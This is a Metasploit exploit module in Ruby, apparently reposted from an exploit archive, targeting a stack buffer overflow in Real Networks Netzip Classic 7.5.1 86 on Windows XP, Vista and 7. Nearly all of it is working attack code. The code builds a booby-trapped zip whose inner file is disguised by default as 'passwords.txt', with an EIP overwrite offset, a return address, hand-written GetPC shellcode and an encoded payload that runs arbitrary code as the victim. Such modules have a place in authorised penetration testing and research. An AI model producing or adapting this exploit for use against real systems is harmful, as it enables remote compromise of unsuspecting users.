Real Networks Netzip Classic 7.5.1 86 – File Parsing Buffer Overflow (Metasploit)
## # $Id: real_networks_netzip_bof.rb 13952 2011-10-16 15:47:04Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in version 7.5.1 86 of Real Networks Netzip Classic. In order for the command to be executed, an attacker must convince someone to load a specially crafted zip file with NetZip Classic. By doing so, an attacker can execute arbitrary code as the victim user. }, 'License' => MSF_LICENSE, 'Author' => [ 'C4SS!0 G0M3S', # Vulnerability discovery and original exploit 'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module ], 'Version' => '$Revision: 13952 $', 'References' => [ [ 'BID', '46059' ], [ 'URL', 'http://proforma.real.com' ], [ 'URL', 'http://www.exploit-db.com/exploits/16083/' ], ], 'Platform' => [ 'win' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1000, 'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric), 'DisableNops' => true, 'EncoderOptions' => { 'BufferRegister' => 'ESI' } }, 'Targets' => [ [ 'Windows XP SP3', { 'Offset' => 247, # To EIP 'Ret' => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86 'Max' => 2000, # Max buffer size } ], [ 'Windows 7/Windows Vista', { 'Offset' => 248, # To EIP 'Ret' => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86 'Max' => 2000, # Max buffer size } ], ], 'DisclosureDate' => 'Jan 30 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']), OptString.new('CONTENTNAME', [ true, 'Name of the fake zipped file', 'passwords.txt']), ], self.class) end def exploit buffer = "#{datastore['CONTENTNAME']}" buffer << ' ' * (target['Offset']-buffer.length) buffer << [target.ret].pack('V') buffer << make_nops(8) # GetPC - Non ascii characters get converted buffer << "\x89\x05" #jmp short (5 bytes) to 'jmp back' at end buffer << "\x5e" #pop esi buffer << "\x41" #nop (inc ecx) buffer << "\x98\x99" #call esi buffer << "\x41" #nop (inc ecx) buffer << "\x8a\x94\x98\x98\x98" #jmp back to pop esi buffer << payload.encoded buffer << rand_text_alpha(target['Max']-buffer.length) zip = Rex::Zip::Archive.new xtra = [0xdac0ffee].pack('V') comment = [0xbadc0ded].pack('V') zip.add_file(buffer, xtra, comment) # Create the file print_status("Creating '#{datastore['FILENAME']}' file...") file_create(zip.pack) end end |